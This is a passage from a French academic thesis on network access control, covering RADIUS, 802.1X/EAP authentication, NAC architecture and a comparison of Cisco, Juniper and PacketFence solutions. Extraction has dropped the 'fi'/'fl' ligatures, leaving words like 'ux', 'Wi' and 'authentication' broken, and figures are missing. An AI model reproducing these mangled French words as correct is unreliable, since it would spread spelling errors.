à l'exception de ce qui a été explicitement autorisé par l'administrateur chargé de
mettre en oeuvre la politique de sécurité en question.
• n3 : sécurité en profondeur IPS/IDS
Une sécurité basée sur l'inspection profonde du ux et l'extraction de signes d'attaques.

• n4 : sécurité applicative (relais applicatifs ou WAF en cas du trac Web)


Partie de sécurité évoluée et adaptée au contenu web et aux échanges selon le pro-
tocole http.

Ces couches de protection peuvent présenter des failles à diérents niveau, et donc la
solution de protection proposée doit tenir compte de ce facteur comme on va le détailler
ci-après.

38
2.3 Contrôle d'accès réseau et technologie NAC
Pour aborder la sécurité interne d'un réseau IP, il est fondamental de commencer par
un inventaire exhaustif reprenant ce que ce réseau contient comme équipements actifs,
applications et serveurs de production, machines utilisateurs, architecture et composants
de sécurité et applications métiers ou autre.

Dans beaucoup d'infrastructures, la connexion au réseau IP se limite à connecter le câble


réseau, ou cliquer sur la borne Wi disponible, ce qui représente un danger réel pour
tout le réseau. Un exemple simple illustrant ce danger consiste à changer manuellement
l'adresse IP de votre machine pour celle de la passerelle, ensuite tout le trac sera dirigé
vers votre machine. Dans ce cas, plusieurs possibilités vous seront oertes dont :

• mettre cette partie du réseau hors service ;

• snier le trac réseau et récupérer des informations condentielles tel que les mots
de passe, les clés de sessions, etc.

De ce constat, des ports non utilisés en état actif ou des bornes Wi à accès public ou
même moyennement protégées (WEP: Wired-Equivalent-Privacy) constituent des entrées
privilégiées pour les intrus. Ceci donne en dénitive une segmentation physique et logique
"en VLANs" comme illustré ci-après, avec un cas d'étude de quatre segments réseau IP
physiquement séparés (la gure 2.3.1).

Figure 2.3.1: Exemple de segmentation réseau

39
• LAN segmenté logiquement en VLANs
• DMZ_publique
• DMZ_privée
• WAN

Il est à noter que la notion de VLAN (Virtual LAN), est une segmentation logique sur
une même interface physique. En eet, le réseau interne doit être hermétique, seules les
machines préalablement déclarées peuvent s'y connecter.

Dans ce contexte, le contrôle d'accès au LAN relève de la même importance de faire une
attention particulière aux points suivants :
• sécurité, des niveaux adaptés aux politiques de sécurité prédénies ;
• administration simple et centralisée ;
• contrôle spécique des ux vers les ressources métier.
Par ailleurs, la technologie NAC, repose sur une première phase fondamentale qui est
l'authentication à travers Radius et le protocole 802.1x, qui vont être détaillés dans les
sous-sections suivantes.

2.3.1 Authentication utilisateurs à travers RADIUS


Le protocole RADIUS est basé sur un échange de 4 diérents types de paquets utilisant
le protocole UDP. La gure 2.3.2 présente un exemple d'établissement d'une session au
sens RADIUS.

Figure 2.3.2: Etablissement d'une session au sens Radius

Nous présentons ci-dessous la méthode d'authentication Radius :

1. le poste utilisateur transmet les informations nécessaires à l'authentication (login,


mot de passe, adresse MAC) au client RADIUS ;

2. le client RADIUS envoi un paquet "Access-Request" au serveur RADIUS. Il contient


l'ensemble des informations de l'utilisateur (ID du client, mot de passe, numéro du
port). Si un mot de passe est présent, ce dernier sera haché en utilisant la fonction
de hachage MD5 ;

40
3. le serveur RADIUS reçoit la requête, vérie l'authenticité du paquet en vériant
le secret qu'il partage avec le client RADIUS, puis vérie l'identité de l'utilisateur
en extrayant et en comparant les informations contenues au sein d'une base de
données ou d'un annuaire (AD ou LDAP). Le serveur RADIUS peut demander soit
de ré-émettre un access-request, soit demander des informations complémentaires ;
4. le client RADIUS génère ensuite une requête Access-Request contenant les infor-
mations d'authentication demandées par le challenge ;
5. enn, le serveur RADIUS valide ou refuse la requête en transmettant un paquet
de type "Access-Accept" ou "Access-Reject". Ce paquet peut contenir une liste de
services qui sont autorisés (par exemple le vlan).
Etude de cas - Authentication de l'utilisateur et de son ordinateur :

Par le biais d'un serveur RADIUS, les deux PC ci-dessous (la gure 2.3.3) ne peuvent
communiquer que si leur agent d'authentication puisse valider une première phase auprès
du serveur d'authentication RADIUS tout en étant sur le même commutateur (ports
fermés que pour le trac d'authentication).

Figure 2.3.3: Exemple d'authentication Radius

Une fois un utilisateur s'authentie au niveau des deux machines, la communication de-
vient possible (PC1 peut faire un ping sur PC2 et vice versa).

En deuxième étape, on souhaite faire une association entre l'utilisateur et le poste avec
lequel il peut se connecter, il faut passer à un deuxième niveau de contrôle qui est le
contrôle du noeud (PC1 et PC2 dans notre cas). Ce contrôle peut concerner le hardware,
le système d'exploitation, les mise à jour de sécurité, la présence d'un pare-feu "rewall"
personnel, antivirus ou tout autre type d'application.

2.3.2 Authentication IEEE 802.1x et EAP


Le protocole 802.1x est une solution standard de sécurisation de réseaux proposé par
l'IEEE en 2001, et qui a été adopté à grande échelle avec l'évolution des solutions de

41
contrôle d'accès aux infrastructures réseaux. La norme 802.1x permet d'authentier
un utilisateur souhaitant accéder au réseau (câblé ou Wi) grâce à un serveur central
d'authentication, tout en évaluant l'état de son équipement de connexion.

Le contrôle d'accès au réseau par port 802.1x permet de restreindre l'accès des utilisateurs
aux ressources du réseau en vériant les informations d'authentication sur l'utilisateur.
Il ne permet pas aux utilisateurs d'accéder au réseau via un port 802.1x s'ils n'ont pas
fait l'authentication. Si un utilisateur veut contacter le réseau via un port sous contrôle
802.1x, il doit d'abord entrer un nom de compte pour authentication, puis attendre
l'autorisation avant de pouvoir envoyer ou recevoir des paquets via ce port.

Pour que des équipements ou des stations d'extrémité puissent accéder aux ressources du
réseau via des ports sous contrôle 802.1x, ils doivent envoyer la demande d'authentication
à l'authenticateur. Celui-ci transmet la requête au serveur d'authentication pour véri-
cation, puis le serveur lui indique si l'autorisation d'accès pour ces ports est accordée
ou non. Dans ce contexte d'authentication, le point d'accès (port du commutateur ou
la borne Wi) se comporte comme suit:

Avant l'authentication 802.1X (la gure 2.3.4)

Figure 2.3.4: Situation avant l'authentication 802.1X

Seul le protocole d'authentication 802.1X EAPoL (Extensible Authentication Protocol


(EAP) over LAN) passe à travers le point d'accès.

42
Après l'authentication 802.1X (la gure 2.3.5)

Figure 2.3.5: Situation après l'authentication 802.1X

Après avoir eectué l'authentication, les communications de diérents protocoles sont


autorisées.

L'architecture 802.1X est constituée de trois entités fonctionnelles :


• le client 802.1X (supplicant) voulant joindre le réseau ;
• le contrôleur (authenticator) contrôlant l'accès au réseau. Dans les réseaux sans
l, le point d'accès joue le rôle de contrôleur ;
• le serveur d'authentication (l'open source free Radius par exemple) prenant les
décisions d'authentication/autorisation (comme il sera développé ci-après).
Le client 802.1X et le contrôleur communiquent en utilisant un protocole basé sur EAP.
Il est important de comprendre que le contrôleur joue un rôle passif, il transmet sim-
plement tous les messages au serveur d'authentication. EAP est un cadre de travail
pour le transport de méthodes d'authentication variées basé sur un nombre limité de
messages (Request, Response, Success, Failure), tandis que les messages intermédiaires
sont dépendants de la méthode d'authentication sélectionnée: EAP-TLS, EAP-TTLS,
PEAP, Kerberos V5, EAP-SIM, etc. Quand le processus complet est achevé, les deux
entités (i.e. le client 802.1X et le serveur d'authentication) partagent une clé maîtresse
secrète.

An de vérier et d'eectuer l'accès 802.1x, comme illustré dans la gure 2.3.6 ci-dessous,
chaque port physique (port virtuel dans le cas des réseaux sans l) est divisé en deux
ports logiques appelés PAE (Port Access Entity).

Le PAE d'authentication est toujours ouvert et autorise toutes les trames d'authentication
à le traverser tandis que le PAE de service est uniquement ouvert après une authentica-
tion réussie (i.e. dans un état autorisé) pour une durée limitée (3600 secondes par défaut).

43
Figure 2.3.6: Illustration de l'accès 802.1X

La décision relative à l'accès revient à la troisième entité appelée serveur d'authentication


(qui peut être soit un serveur RADIUS dédié ou, par exemple pour les particuliers, un sim-
ple processus fonctionnant sur le point d'accès). La gure 2.3.7 suivante illustre comment
ces entités communiquent entre elles. La norme 802.11i apporte quelques modications
à la norme IEEE 802.1X pour l'adapter aux réseaux sans ls et en particulier pour la
protéger du vol d'identité. L'authentication des messages a été incluse pour garantir
que le client 802.1X et le contrôleur (la borne) calculent correctement leurs clés secrètes
et activent le chirement avant de communiquer sur le réseau.

Figure 2.3.7: Authentication 802.1x

Les automates à états nis du PAE


Pour bien comprendre le fonctionnement du protocole 802.1X, il est nécessaire de re-
garder en détail les diérents automates à états nis qui régissent son fonctionnement. À

44
titre indicatif une version simpliée des deux principaux automates du standard 802.1X
est donnée ci-après. Les simplications ont consisté à supprimer une grande partie des
variables d'état et certaines transitions temporelles de bouclage d'un état sur lui-même
pour ne laisser apparaître que la séquence principale qui va de l'état "INITIALISATION"
à l'état "AUTHENTIFIÉ".

Cet automate à états nis peut être approché par les interactions gées suivantes :

Figure 2.3.8: Schéma simplié de l'automate à états nis PAE

Le standard 802.1X, est le support de transport pour le protocole purement d'authentication


EAP comme illustré, dans la gure 2.3.9 ci-dessous, par le schéma d'échange du deman-
deur d'accès vers le serveur d'authentication en passant par le moyen d'accès "authen-
ticateur".

Les méthodes d'authentication les plus communes sur EAP sont :


• EAP-TLS (Transport Layer Security): authentication par certicat de l'équipement
client et du serveur d'authentication ;
• EAP-TTLS (Tunneled Transport Layer Security) : authentication mixte par cer-
ticat et mot de passe grâce à la génération d'un tunnel sécurisé ;
• EAP-MD5 : authentication simple par mot de passe ;
• PEAP (Protected EAP) : authentication simple par mot de passe via une encap-
sulation sécurisée ;
• EAP-FAST : authentication simple par mot de passe via une encapsulation sécurisée
(protocole Cisco) ;

45
Figure 2.3.9: Authentication EAP

• LEAP : authentication simple par mot de passe via une encapsulation sécurisée
(protocole Cisco).

Le domaine d'application de ce protocole correspond donc à tous les modes de connexion


pouvant être considérés comme des connexions dites point à point telles que : connexion
réseau sans l entre un poste utilisateur et une borne d'accès, connexion laire entre un
poste utilisateur et un commutateur.

Grâce à ce mécanisme d'encapsulation des messages d'authentication, un dialogue direct


entre l'utilisateur et le serveur AAA dédié "Radius en général" est rendu possible, c'est
tout simplement le meilleur et le plus sûr des mécanismes disponible jusqu'à l'heure
actuelle (la gure 2.3.10).

Figure 2.3.10: Communication entre l'utilisateur et le serveur AAA via 802.1X

46
Activation pratique de l'authentication 802.1x en périphérie
Le mécanisme 802.1x, est composé de plusieurs composantes comme on vient de le voir,
néanmoins la partie pratique reste très simple à activer au niveau de la machine de
l'utilisateur "endpoint". Ci-dessous dans la gure 2.3.11, on présente un exemple de
procédure d'activation de ce protocole sur une machine Windows.

Figure 2.3.11: Activation de 802.1x et EAP sous Windows

Signalisation du protocole 802.1X


Ce standard IEEE permet de gérer l'accès au réseau dès le niveau physique, en laire
et même en WiFi. La gure 2.3.12 suivante présente un tableau qui caractérise les trois
méthodes possibles pour la validation de l'authentication / posture (admission) :

Figure 2.3.12: Méthodes possibles pour la validation de l'authentication/l'admission

Cette association de contrôle de la machine et l'utilisateur est le fondement de la tech-


nologie de contrôle d'accès réseau ou NAC "Network Access Control". A ce stade et après
avoir détaillé le protocole Radius et 802.1X, nous allons entamer, dans ce qui suit, la mise
en oeuvre du mécanisme NAC.

47
2.3.3 Mécanisme de contrôle d'accès Réseau - NAC
1. Introduction du concept du NAC
Parmi les technologies émergentes pour limiter les intrusions et la prolifération du
malware on note le "Network Access Control" ou NAC, qui est en toute généralité
une méthodologie d'auto-défense qui s'ajoute à la protection du périmètre (passerelles
de sécurité) et qui se focalise sur le contrôle et le suivi des accès au réseau et ses
ressources.

Certes, la dénition n'a pas encore été clairement arrêtée, et chaque éditeur en
prote pour lancer sa propre conception. Néanmoins, on se réfère toujours aux
points suivants :

• authentier les usagers à base de leur prols stockés dans une base de données
dédiée;
• appliquer la politique de sécurité à la périphérie, identier et interdire le trac
illicite ;
• identier et contenir les utilisateurs frauduleux ou non conformes aux règles
de sécurité ;
• limiter, voir stopper les menaces et les attaques inconnues.

En eet, Il est aujourd'hui possible de contrôler à l'accès au réseau l'identité de


l'utilisateur ou de la machine. En revanche, ce contrôle n'inclut aucune vérication
de l'état du noeud/poste.

Le concept NAC assure entre autres que seules les noeuds (en général postes de
travail ou ordinateurs portables) sains auront accès au réseau, et s'interfacent avec
les solutions antivirales, de rewall personnel, d'audit pour évaluer la conformité du
poste avant de lui ouvrir un accès réseau. L'objectif du NAC (Network Access Con-
trol) est de lier les deux approches (réseau et système/application) et de les mettre
en cohérence : ne permettre l'accès au réseau que si la machine est conforme à la
politique de sécurité, qui dépend elle-même de l'identiant de l'utilisateur/machine
et le résultat de son processus d'authentication, donc c'est une combinaison dy-
namique de l'identié de l'utilisateur, le niveau de sécurité/conformité de son poste
par rapport à la politique de sécurité prédénie, qui détermine s'il aura l'accès à
certaines ressources, il sera mis en quarantaine ou il sera tout simplement bloqué.

En pratique, le NAC pourra contrôler si le poste client intègre un anti-virus à


jour et activé (signatures récentes), un système d'exploitation protégé (OS, version,
patchs de sécurité,etc), un rewall personnel. Si le client nécessite une mise à
jour de signatures antivirales ou une mise à jour du système d'exploitation, NAC
notiera le client en lui demandant de compléter les mises à jour nécessaires. Si
le client risque d'avoir été compromis (ex: AV désactivé), NAC pourra placer le
client dans un segment de quarantaine réseau. Après mise à jour, le client pourra
automatiquement récupérer un accès normal au réseau.

48
La gure 2.3.13 ci-dessous présente un schéma du fonctionnement général du NAC:

Figure 2.3.13: Fonctionnement général du contrôle NAC

Comparaison des deux situations avec et sans NAC


• sans NAC : sans le mécanisme NAC, n'importe quel équipement branché
physiquement / logiquement sur le réseau (connecté au port d'un commuta-
teur, à un point d'accès sans l ou une passerelle VPN) aura un accès qui lui
permet potentiellement de nuire au réseau et ses ressources.
Une fois un accès réseau est fourni, l'utilisateur malveillant peut entamer des
tâches nuisibles (scan à la recherche de vulnérabilités, diusion de virus et de
vers ou tout autre type de malware) du moment que cet accès au réseau n'est
pas soumis au contrôle (ensemble de vérications dictées par la politique de
sécurité mise en place) ;

• Avec NAC : La demande d'accès déclenchera un ensemble de routines de con-


trôle et de vérication du système demandeur de l'accès, par le biais d'un agent
installé sur le système, d'un contrôle activeX ou un applet Java, et l'accès ne
sera accordé que si ces contrôles sont achevés avec succès, dans le cas échéant
c'est soit un accès limité ou un blocage.

La vérication peut aller d'une simple vérication du :

49
• niveau de patching ;
• présence de l'antivirus et son état de mise à jour.

Jusqu'aux tests évolués relatifs au :

• scan des vulnérabilités (programmes installés, ports ouverts) ;


• rewall personnel et sa politique de sécurité ;
• conformité à la politique prédénie au niveau central ;
• altération du registre ou pas ;
• Redirection des logs vers un serveur de log central.

NB: les solutions NAC actuelles se contentent de contrôler la phase d'admission


sur le réseau, mais pas vraiment de suivi post-admission (voir ci-après les proposi-
tions d'amélioration). Ainsi un individu/noeud demandant l'accès au réseau et ses
ressources devra passer par un certain nombre de contrôles, à l'issue des quels il
aura l'accès, mis en quarantaine ou tout simplement bloqué à la source.

2. Fonctionnement du Network Access Control

Le contrôle d'accès au réseau (Network Access Control ou NAC) est une approche
de la sécurité informatique qui tente d'unier les technologies des périphériques de
sécurité, l'identiant ou le système d'authentication et l'application de la sécurité
réseau. En eet, Il faut un ensemble de protocoles pour dénir et implémenter
une politique qui décrit comment sécuriser l'accès par des appareils quand, ini-
tialement, ils tentent d'accéder au réseau. Le NAC doit intégrer un processus
automatique de réhabilitation dans les systèmes du réseau, permettant aux infras-
tructures réseaux (routeur, commutateur et pare-feu) de travailler avec les serveurs
back oce et l'utilisateur nal de l'équipement informatique pour s'assurer que le
système d'information fonctionne de façon sécurisée avant que l'interopérabilité soit
autorisée.

Dans la perspective de concevoir un modèle de contrôle d'accès pratique et applica-


ble aux larges infrastructures, composantes du système d'information d'aujourd'hui,
et qui permet de répondre à des exigences de sécurité et de protection des utilisateurs
contre l'usurpation d'identité, et le vol d'information, il est indispensable d'assurer
une couche fonctionnelle fondamentale qui est l' authentication et la vérication
de son moyen de connexion aux ressources. L'idée est de vérier si l'utilisateur et
son équipement de connexion remplissent bien les conditions d'accès imposées par
la politique du contrôle d'accès, c.-à-d. que l'accès aux ressources dépendra de deux
paramètres au lieu d'un seul:

USER + Périphérique "DEVICE" = ACCESS

50
La gure 2.3.14 ci-dessous illustre cette approche combinée de contrôle pour donner
l'accès à une ressource.

Figure 2.3.14: Processus du contrôle d'accès réseau NAC

Donc, l'objectif est de maîtriser cet accès au réseau et répondre aux questions con-
cernant les utilisateurs qui y accèdent en particulier: qui est autorisé ? Quelle
version du matériel et du logiciel a été utilisée pour y accéder ? Quel VLAN a été
attribué et à quelles ressources l'accès a été donné ?

Cela revient à identier les connexions et les utilisateurs : login, @IP, @MAC, (date,
heure), et leur aecter dynamiquement un VLAN, dans l'objectif de leur assurer la
mobilité au sein du réseau selon les privilèges octroyés.
Le schéma de la gure 2.3.15 illustre le scénario d'accès selon le concept NAC.

Le processus d'accès se déroule comme suit :

(a) l'utilisateur essaye d'accéder au réseau (branche son câble UTP, active son lien
sans l, ou lance son client VPN) ;
(b) le module NAC (plus précisément le commutateur/point d'accès (AP - Ac-
cess Point) compatible NAC, détecte la demande, et demande au client de
soumettre au contrôle (authentication et vérication du noeud (posture)) ;
(c) l'utilisateur répond par la fourniture des informations demandées ;
(d) le contrôleur d'accès passe ces informations au gestionnaire de la politique pour
les évaluer, et accorder le type d'accès en conséquence ;
(e) le gestionnaire soumet ces informations aux serveurs de sécurité dédiés (les
serveurs d'authentication (RADIUS ou diamètre), serveur Antivirus, Anti-
Spam, etc) ;

51
Figure 2.3.15: Accès à un réseau protégé par le NAC

(f) les serveurs de sécurité applicatifs, analysent ces informations soumises par le
client et envoient leurs recommandations au gestionnaire (Policy server) ;
(g) le gestionnaire, et à base de la réponse des serveurs spécialisés, décide donc
le type d'accès accordé et notie le commutateur/PA Wi sur l'action à en-
treprendre ;
(h) ce dernier exécute la décision du gestionnaire et notie le client en conséquence
s'il est autorisé, rejeté, où mis en quarantaine ;
(i) enn et sur la base de la politique de sécurité mise en place, le client aura
l'accès au réseau protégé ou mis dans le réseau quarantaine en attente de
régler ses insusances.

La décision du type d'accès après l'application du mécanisme NAC par le point


d'application du contrôle (commutateur ou borne wi) est résumée selon le tableau
de la gure 2.3.16 suivante:

52
Figure 2.3.16: Décision du type d'accès après application du mécanisme NAC

3. L'ossature NAC

La technologie NAC se base sur un ensemble de compartiments, illustrés dans la


gure 2.3.17 suivante, et qui sont détaillés ci-dessous.

Figure 2.3.17: Diérents compartiments de la technologie NAC

(a) La détection du noeud lors de l'accès


C'est la capacité à détecter un noeud lors de sa tentative d'accès au réseau pro-
tégé au sens NAC. C'est cette détection qui va rendre possible le déclenchement
des diérents contrôles NAC comme (l'authentication, posture, autorisation,
enforcement, etc).

Plusieurs techniques sont utilisées selon la méthode d'accès et la couche évo-


quée LAN, Wi, VPN ou Dialup. On trouve ainsi les méthodes :

53
• 802.1X : le contrôle est à base de l'accès port, un commutateur peut dé-
tecter un noeud demandant l'accès au réseau, lors de l'envoi d'une requête
Extended Authentication Protocol (EAP) ;
• Address Resolution Protocol (ARP): le client envoie une requête ARP on
broadcast pour résoudre une adresse IP en adresse Ethernet ou MAC.
Cette diusion sera détectée par l'équipement NAC et ainsi la tentative
du noeud est repérée ;
• Dynamic Host Conguration Protocol (DHCP) : lors de la diusion d'une
requête DHCP, à travers le réseau pour acquérir une adresse IP ;
• Network Layer trac (ICMP, IGMP, etc.) peuvent aussi identier la
présence d'un noeud essayant de se connecter au réseau ;
• à travers l'usage d'un client software, qui peut notier le NAC lors d'une
tentative d'accès à un réseau protégé.

(b) L'authentication
Phase importante et préliminaire pour décider la suite d'une demande d'accès
au réseau et peut varier du simple mot de passe aux plateformes complexes à
base de jetons ou certicats.

Plusieurs mécanismes d'authentication sont possibles :


• le standard IEEE 802.1X (se base sur les diérents types de message EAP
qui encapsulent les échanges d'authentication) ;
• Dynamic Host Conguration Protocol (DHCP) ;
• IPSec (IP security) ;
• Transport Layer Security/Secure Socket Layer (TLS/SSL) ;
• Virtual Private Network (SSL VPN or IPSec VPN) ;
• le protocole (PPP) Point to point ;
• Secure HTTP (HTTPS).

Sachant que toute solution NAC doit être en mesure d'authentier l'utilisateur
d'une manière sécurisée, indépendamment de sa méthode d'accès au réseau
protégé, la tendance est le protocole 802.1X qui a pour but de dénir une
méthode standard de contrôle d'accès réseau par port physique. La gestion
des contrôles d'accès au niveau port permet donc de spécier les modalités
d'accès à un réseau au niveau de l'interfaçage " physique " entre le client et
l'équipement d'accueil. Une authentication à la prise de l'utilisateur peut
prévenir des accès non validés et permettre d'assurer une meilleure contin-
gence du réseau.

Il est néanmoins important de prendre en compte les contraintes imposées


par la mise en place de ce protocole : Équipements supportant les fonctions
souhaitées, serveurs d'authentication, clients 802.1x, personnels formés.

54
(c) End-point Security Assessment
C'est la phase de récolte des informations relatives à l'état de santé du noeud
demandant l'accès au réseau. Généralement, cette tâche est accordée à un
agent installé localement sur le noeud et communique avec un véricateur
d'état installé au niveau du serveur de politique (policy server) à travers
l'équipement d'accès réseau (commutateur, AP ou concentrateur VPN).

En cas d'absence d'agent, on fait appel à :


• un applet Java ou ActiveX qui se déclenche et récupère les paramètres de
conformité ;
• un Scan distant pour retrouver ces mêmes paramètres.

(d) Quarantaine
C'est l'action entreprise quand le système demandeur d'accès n'est pas con-
forme à la politique de sécurité prédénie. En général, c'est un accès limité
(accès internet limité pour les invités par exemple).

Ainsi l'utilisateur passe par les phases suivantes:

(e) Remédiation
C'est une étape de correction, qui consiste à créer une zone contenant les
ressources et les correctifs, accessible aux systèmes pour remédier à leur insu-
isance en terme de sécurité (mettre à jour l'antivirus, l'anti-spyware, installer
le pare-feu personnel, etc).

(f) Autorisation
La gestion des droits et privilèges d'accès, concentrée au niveau du (policy
server), et déployer à la demande vers le point de contrôle (commutateur, AP,
VPN, etc).

(g) Enforcement
La couche relative au média d'accès et leur technologie (commutateur, AP,
VPN, etc).

(h) Post-admission protection


La phase la plus dure, relative au suivi des connexions et l'état de leurs
initiateurs, réalisée en général avec la complicité d'un système de détection
d'intrusion.

Le NAC peut être implémenté au sein de l'infrastructure principalement sous deux formes:
• Inline all-in-one (sous forme de boîtier mis en mode coupure) : Problème de
performance et de disponibilité en cas de panne du boîtier ;

55
• Framework : C'est le mode le plus recommandé et le plus déployé lorsqu'on a une
infrastructure existante.

2.4 Proposition d'une nouvelle modélisation du con-


trôle d'accès multi-niveau
Dans ce qui suit, nous allons d'abord présenter les solutions de contrôles d'accès réseau
les plus utilisées, les comparer et surtout analyser leurs points forts et points faibles. Et
à la lumière des résultats obtenus, et compte tenu des objectifs de sécurité déjà cités
précédemment, nous allons présenter notre proposition d'une nouvelle modélisation du
contrôle d'accès multi-niveaux.

2.4.1 Etat d'art des solutions de contrôles d'accès les plus répan-
dues
Selon "Gartner" (la gure 2.4.1), l'instance internationale de recherche et d'évaluation
des solutions relatives aux technologies d'information [35], on a constaté que les leaders
des solutions NAC sont ceux qui fournissent l'infrastructure réseau (laire et wi) en
l'occurrence Cisco, Juniper. D'où la nécessité de faire une analyse neutre purement
technique pour évaluer la bonne technologie.
A noter que ce classement des fournisseurs NAC subit des changements continus tel qu'on
peut le constater sur des rapports récents du Gartner [35]. Néanmoins, ceci n'aura aucun
impact sur notre analyse qui se focalise sur les mécanismes d'intégration à l'infrastructure
et l'extension vers l'implication des modules avancés de protection comme les pare-feux
et les IDS/IPS.

Dans la suite, nous allons nous focaliser sur l'aspect technique des mécanismes utilisés,
les comparer et se baser sur les avantages et les inconvénients des uns et des autres, pour
pouvoir proposer des améliorations, surtout sur l'aspect de standardisation dans l'ultime
but d'avoir une sécurité meilleure et une intégration souple d'une solution NAC au sein
de l'infrastructure réseau. En eet, les solutions commerciales, se présentent souvent sous
forme de boîtes noires dont on n'a que les manuels et les guides d'utilisation, mais on
n'a pas l'accès au code source. D'où la nécessité de faire appel à des analyseurs de trac
réseaux tel que le "Wireshark", pour pouvoir faire la projection sur des solutions open
sources (packetfence & open NAC) dans le but de déduire le mode de fonctionnement ou
plus précisément le mécanisme fonctionnel.

Trois solutions NAC [36] dont deux du domaine professionnel et une solution du domaine
open source s'imposent :

• Cisco Admission Control (ou Cisco NAC) [34] ;

• Juniper NAC UAC ;

• PacketFence l'open source NAC [45].

56
Figure 2.4.1: Evaluation Gartner des solutions NAC existantes

57
1. Cisco NAC

La solution Cisco NAC se compose de deux sous-produits [37] :

• Cisco NAC Manager "NAM" : le Cisco NAC Manager [38] contient la base de
données et permet de gérer les congurations des diérents NAS (NAC Access
Server). Quant au NAS, il exécute la politique élaborée au niveau du manager
et qui lui est destinée ;

• Cisco NAC server : le Cisco NAC Access Server [39], est la composante qui
eectue le contrôle d'accès, dans les deux modes (Inline ou Out-of-Band) et
applique le contrôle à la périphérie du réseau.

Le schéma synoptique de la gure 2.4.2 suivante présente la solution Cisco NAC


[39].

Figure 2.4.2: Schéma synoptique de Cisco NAC

Lorsqu'un utilisateur se présente pour accéder au réseau, le processus d'admission


se déroule selon les étapes suivantes dépendant du mode Inline ou Framework:

En mode Framework
• L'utilisateur est redirigé vers un portail pour s'authentier. Quelque soit sa
position dans le réseau, ou utilise son client CTA (Cisco Trust Agent) pour ce
faire.
• Cisco NAC valide le compte utilisateur, scanne et vérie l'état du poste util-
isateur

58
• Une fois le poste est scanné, il est qualié compatible ou non
• Login correct + poste compatible=accès autorisé, le poste est alors ajouté à
la liste des périphériques certiés
• Login incorrect ou poste incompatible=accès refusé, mise en quarantaine

En mode inline
Dans ce mode, la solution NAC est mise en mode coupure [37], c.-à-d. que le trac
réseau doit passer à travers l'équipement NAC (la gure 2.4.3).

Figure 2.4.3: Cisco NAC en mode inline

Dans ce mode, l'utilisateur communique avec l'équipement d'accès NAD (Network


Access Device) moyennant le 802.1x. Le NAD à son tour envoie une requête Radius
au NAC server pour authentier l'utilisateur et vérier la posture du poste utilisé
lors de la demande de connexion. Pour accomplir cette tâche, le NAC server fait
appel à d'autres modules dédiés comme l'antivirus et les serveurs de mise à jour
Microsoft par exemple. Selon leurs rôles et leurs privilèges, les utilisateurs du réseau
sont évalués ainsi que leurs machines, et sont soit isolés pour se mettre à niveau,
soit autorisés à accéder par le point de contrôle "network Enforcement Point" (où
la décision d'accès est entreprise).

Le premier constat à faire pour cette solution, est que l'infrastructure doit être
du même constructeur pour ne pas avoir de soucis. Le deuxième point et que
l'intégration avec les autres technologies tel que l'antivirus et les serveurs de mise à
jour doit être développé en API dans une logique de coopération (win-win). Cette
interface API doit être maintenue à chaque mise à jour de l'une des composantes
de la solution NAC.

2. Juniper

La solution NAC UAC de Juniper, illustré dans la gure 2.4.4, se base sur les
critères principaux suivants:

59
• Identité de l'utilisateur
• Etat de sécurité du poste de connexion
• Emplacement
• Le point de contrôle ou point d'application du NAC

Figure 2.4.4: Solution NAC UAC de Juniper

La politique de contrôle Juniper NAC est élaborée au niveau du contrôleur "In-


franet Manager", envoyée pour s'exécuter sur les autres équipements Juniper tel
que les commutateurs EX-series et les pare-feux SSG/ISG.

Cette intégration native avec l'infrastructure à base d'équipements Juniper facilite


énormément l'extension de la solution vers le support de la Qos basé sur l'identité
de l'utilisateur (VLANs, ACLs, QoS), la redirection du trac vers un IDP pour
une analyse d'intrusion approfondie. En plus, la solution est compatible avec tout
constructeur de commutateurs ou point d'accès utilisant le protocole 802.1x.

3. Packetfence

Packetfence est un contrôleur d'accès réseau libre possédant de multiples fonction-


nalités comme l'enregistrement des activités illicites, l'isolation d'ordinateurs infec-
tés, le portail captif, le protocole 802.1x, la vérication des conformités des postes
du réseau et l'interface web.
Cette Solution NAC (Packetfence couplé à freeRadius tous deux Open source) est
très ecace et évolutive, dans la mesure où des modules et plugin du domaine
libre, peuvent être ajoutés à la solution. Cette dernière jouit aussi des points forts
suivants:

60
Figure 2.4.5: Solution opensource Packetfence

• Mise en oeuvre simple et rapide.


• Documentée et code commenté et disponible.
• Gratuité

La diérence apparente est celle qui existe entre les deux solutions commerciales (Cisco &
Juniper) et la solution Open source concernant le support technique en cas de problème
ou en cas d'extension des fonctionnalités de contrôle; Outre cet aspect, il y a des fonc-
tionnalités techniques qui permettent de cibler la pertinence d'une solution NAC en vue
de répondre aux nouveaux dés de protection des infrastructures réseaux qu'on résume
dans le tableau de la gure 2.4.6.

2.4.2 Proposition du modèle TCP/IP étendu


Outre les couches classiques du modèle OSI, il s'avère que l'identication/authentication
de l'utilisateur qui va accéder aux ressources est d'une importance capitale quand à la
sécurité du réseau IP cible. D'où la nécessité d'ajouter une couche de contrôle de cet
utilisateur ainsi que la machine utilisée durant sa session au réseau.

En eet, un seul usager peut utiliser plusieurs périphériques pour accéder au réseau (ma-
chine de bureau, portable ou smartphone, etc) et à chaque fois la menace que présente le
couple (utilisateur-périphérique) est diéremment évaluée. L'identité de l'utilisateur con-
stitue alors une pierre angulaire dans la sécurité des réseaux, et par suite une couche sup-
plémentaire relative à l'identité de l'utilisateur et la sécurisation de sa machine s'impose.

61
Figure 2.4.6: Comparaison des solutions Cisco NAC, Juniper et Packtfence

Dans cette perspective, nous avons proposé un modèle d'interconnexion à 8 couches.


L'analyse de cette proposition est intégralement décrite par notre papier intitulé "Net-
work Access Control Technology - Proposition to contain new security challenges" [1].

En eet, en plus des informations classiques (IP source, IP destination, port de destina-
tion, etc), une identication d'un ux quelconque au sein du réseau IP, n'a un sens que si
on arrive à déterminer le vrai utilisateur et le périphérique qu'il a utilisé pour initier sa
session TCP/IP et eectuer l'ensemble des actes entrepris lors de sa session réseau. La
première étape de tout contrôle ecace, commence par une identication/authentication
de l'utilisateur et le scan de son poste; A ce propos, nous proposons une couche à part en-
tière appelée NAC et évaluation de sécurité comme illustré dans la gure 2.4.7 ci-dessous:

La politique de sécurité doit ainsi tenir compte, en plus des paramètres TCP/IP clas-
siques, de l'identité de l'utilisateur, de sa machine et sa conformité avec la politique
d'accès au réseau en vigueur (la gure 2.4.8).
La technologie NAC améliore considérablement la sécurité du réseau en le protégeant
contre les accès non contrôlés, mais elle dépend de la qualité d'intégration entre ses com-
posantes et surtout entre le serveur NAC et l'infrastructure (Commutateurs, WiFi etc).

Un critère fondamental dans une solution NAC est sa compatibilité et son support pour
les composantes de l'infrastructure.
